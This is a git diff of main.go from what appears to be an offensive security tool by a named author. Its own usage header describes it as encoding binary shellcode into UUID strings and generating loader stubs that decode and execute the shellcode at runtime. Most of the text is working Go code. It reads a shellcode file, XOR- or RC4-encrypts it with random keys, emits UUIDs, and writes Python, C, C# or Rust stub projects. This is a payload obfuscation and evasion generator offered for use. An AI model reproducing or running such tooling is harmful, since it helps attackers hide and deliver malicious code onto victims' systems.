aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--main.go292
1 files changed, 156 insertions, 136 deletions
diff --git a/main.go b/main.go
index 2e90cf9..8c8ceab 100644
--- a/main.go
+++ b/main.go
@@ -584,142 +584,6 @@ fn main() {
}
`
-func main() {
- filePath := flag.String("file", "", "path to binary shellcode file")
- stubLang := flag.String("stub", "", "stub language to output (py, c, cwin, cs, rs)")
- xorFlag := flag.Bool("xor", false, "enable single-byte xor encoding with random key")
- rc4Flag := flag.Bool("rc4", false, "enable rc4 encryption with 16bit random key")
- flag.Parse()
-
- if *filePath == "" {
- flag.Usage()
- os.Exit(1)
- }
-
- data, err := os.ReadFile(*filePath)
- if err != nil {
- fmt.Fprintf(os.Stderr, "[err] failed to read file: %v\n", err)
- os.Exit(1)
- }
-
- origLen := len(data)
- if origLen%16 != 0 {
- fmt.Printf("[inf] shellcode size (%d bytes) is not a multiple of 16, will pad with nullbytes\n", origLen)
- pad := 16 - (origLen % 16)
- data = append(data, make([]byte, pad)...)
- }
-
- if *xorFlag && *rc4Flag {
- fmt.Fprintf(os.Stderr, "[err] cannot use both xor and rc4\n")
- os.Exit(1)
- }
-
- var rc4Key []byte
- var xorKey byte = 0
-
- if *xorFlag {
- key := make([]byte, 1)
- _, err := rand.Read(key)
- if err != nil {
- fmt.Fprintf(os.Stderr, "[err] failed to generate xor key: %v\n", err)
- os.Exit(1)
- }
- xorKey = key[0]
- fmt.Printf("[inf] using xor key: 0x%02x\n", xorKey)
-
- for i := 0; i < len(data); i++ {
- data[i] ^= xorKey
- }
- } else if *rc4Flag {
- var err error
- rc4Key, err = generateRC4Key()
- if err != nil {
- fmt.Fprintf(os.Stderr, "[err] failed to generate rc4 key: %v\n", err)
- os.Exit(1)
- }
- fmt.Printf("[inf] using rc4 key: %s\n", string(rc4Key))
- data, err = rc4Encrypt(data, rc4Key)
- if err != nil {
- fmt.Fprintf(os.Stderr, "[err] rc4 encryption failed: %v\n", err)
- os.Exit(1)
- }
- }
-
- var uuids []string
- for i := 0; i < len(data); i += 16 {
- chunk := data[i : i+16]
- uuid := formatAsUUID(chunk)
- uuids = append(uuids, uuid)
- fmt.Println(uuid)
- }
-
- if *stubLang != "" {
- var stubContent string
- var fileName string
-
- switch *stubLang {
- case "py":
- stubContent = pythonStub
- fileName = "stub.py"
- case "c":
- stubContent = cStub
- fileName = "stub.c"
- case "cwin":
- stubContent = cWinStub
- fileName = "stub.c"
- case "cs":
- stubContent = csharpStub
- fileName = "stub.cs"
- case "rs":
- stubContent = rustStub
- baseDir := "stub"
- srcDir := filepath.Join(baseDir, "src")
- err = os.MkdirAll(srcDir, 0755)
- if err != nil {
- fmt.Fprintf(os.Stderr, "[err] failed to create directories: %v\n", err)
- os.Exit(1)
- }
-
- cargoToml := `[package]
-name = "stub"
-version = "0.0.1"
-edition = "2024"
-
-[dependencies]
-uuid = "1.3"
-libc = "0.2"
-
-[target.'cfg(windows)'.dependencies]
-winapi = { version = "0.3", features = ["memoryapi", "winnt"] }
-`
- err = os.WriteFile(filepath.Join(baseDir, "Cargo.toml"), []byte(cargoToml), 0644)
- if err != nil {
- fmt.Fprintf(os.Stderr, "[err] failed to write Cargo.toml: %v\n", err)
- os.Exit(1)
- }
-
- fileName = filepath.Join(srcDir, "main.rs")
- err = renderTemplateToFile(stubContent, uuids, origLen, xorKey, string(rc4Key), fileName)
- if err != nil {
- fmt.Fprintf(os.Stderr, "[err] failed to write stub.rs: %v\n", err)
- os.Exit(1)
- }
-
- fmt.Printf("[inf] rust stub written to %s\n", fileName)
- default:
- fmt.Fprintf(os.Stderr, "[err] unsupported stub language\n")
- os.Exit(1)
- }
-
- err := renderTemplateToFile(stubContent, uuids, origLen, xorKey, string(rc4Key), fileName)
- if err != nil {
- fmt.Fprintf(os.Stderr, "[err] failed to write stub: %v\n", err)
- os.Exit(1)
- }
- fmt.Printf("[inf] stub written to %s\n", fileName)
- }
-}
-
func generateRC4Key() ([]byte, error) {
const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
key := make([]byte, 16)
@@ -791,3 +655,159 @@ func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey by
"RC4Key": string(rc4Key),
})
}
+
+func init() {
+ const usageHeader = `
+offensive security utility that encodes arbitrary binary shellcode into UUID strings, generating C and Python stubs to decode and execute the shellcode at runtime
+
+author: heqnx - https://heqnx.com
+
+`
+ flag.Usage = func() {
+ fmt.Fprint(os.Stderr, usageHeader)
+ fmt.Fprintf(os.Stderr, "usage of %s:\n", os.Args[0])
+ flag.PrintDefaults()
+ }
+ flag.CommandLine.SetOutput(os.Stderr)
+}
+
+func main() {
+ filePath := flag.String("file", "", "path to binary shellcode file")
+ stubLang := flag.String("stub", "", "stub language to output (py, c, cwin, cs, rs)")
+ xorFlag := flag.Bool("xor", false, "enable single-byte xor encoding with random key")
+ rc4Flag := flag.Bool("rc4", false, "enable rc4 encryption with 16bit random key")
+ flag.Parse()
+
+ if flag.NFlag() == 0 && flag.NArg() == 0 {
+ flag.Usage()
+ os.Exit(1)
+ }
+
+ if *filePath == "" {
+ flag.Usage()
+ os.Exit(1)
+ }
+
+ data, err := os.ReadFile(*filePath)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] failed to read file: %v\n", err)
+ os.Exit(1)
+ }
+
+ origLen := len(data)
+ if origLen%16 != 0 {
+ fmt.Printf("[inf] shellcode size (%d bytes) is not a multiple of 16, will pad with nullbytes\n", origLen)
+ pad := 16 - (origLen % 16)
+ data = append(data, make([]byte, pad)...)
+ }
+
+ if *xorFlag && *rc4Flag {
+ fmt.Fprintf(os.Stderr, "[err] cannot use both xor and rc4\n")
+ os.Exit(1)
+ }
+
+ var rc4Key []byte
+ var xorKey byte = 0
+
+ if *xorFlag {
+ key := make([]byte, 1)
+ _, err := rand.Read(key)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] failed to generate xor key: %v\n", err)
+ os.Exit(1)
+ }
+ xorKey = key[0]
+ fmt.Printf("[inf] using xor key: 0x%02x\n", xorKey)
+
+ for i := 0; i < len(data); i++ {
+ data[i] ^= xorKey
+ }
+ } else if *rc4Flag {
+ var err error
+ rc4Key, err = generateRC4Key()
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] failed to generate rc4 key: %v\n", err)
+ os.Exit(1)
+ }
+ fmt.Printf("[inf] using rc4 key: %s\n", string(rc4Key))
+ data, err = rc4Encrypt(data, rc4Key)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] rc4 encryption failed: %v\n", err)
+ os.Exit(1)
+ }
+ }
+
+ var uuids []string
+ for i := 0; i < len(data); i += 16 {
+ chunk := data[i : i+16]
+ uuid := formatAsUUID(chunk)
+ uuids = append(uuids, uuid)
+ fmt.Println(uuid)
+ }
+
+ if *stubLang != "" {
+ var stubContent string
+ var fileName string
+
+ switch *stubLang {
+ case "py":
+ stubContent = pythonStub
+ fileName = "stub.py"
+ case "c":
+ stubContent = cStub
+ fileName = "stub.c"
+ case "cwin":
+ stubContent = cWinStub
+ fileName = "stub.c"
+ case "cs":
+ stubContent = csharpStub
+ fileName = "stub.cs"
+ case "rs":
+ stubContent = rustStub
+ baseDir := "stub"
+ srcDir := filepath.Join(baseDir, "src")
+ err = os.MkdirAll(srcDir, 0755)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] failed to create directories: %v\n", err)
+ os.Exit(1)
+ }
+
+ cargoToml := `[package]
+name = "stub"
+version = "0.0.1"
+edition = "2024"
+
+[dependencies]
+uuid = "1.3"
+libc = "0.2"
+
+[target.'cfg(windows)'.dependencies]
+winapi = { version = "0.3", features = ["memoryapi", "winnt"] }
+`
+ err = os.WriteFile(filepath.Join(baseDir, "Cargo.toml"), []byte(cargoToml), 0644)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] failed to write Cargo.toml: %v\n", err)
+ os.Exit(1)
+ }
+
+ fileName = filepath.Join(srcDir, "main.rs")
+ err = renderTemplateToFile(stubContent, uuids, origLen, xorKey, string(rc4Key), fileName)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] failed to write stub.rs: %v\n", err)
+ os.Exit(1)
+ }
+
+ fmt.Printf("[inf] rust stub written to %s\n", fileName)
+ default:
+ fmt.Fprintf(os.Stderr, "[err] unsupported stub language\n")
+ os.Exit(1)
+ }
+
+ err := renderTemplateToFile(stubContent, uuids, origLen, xorKey, string(rc4Key), fileName)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] failed to write stub: %v\n", err)
+ os.Exit(1)
+ }
+ fmt.Printf("[inf] stub written to %s\n", fileName)
+ }
+} \ No newline at end of file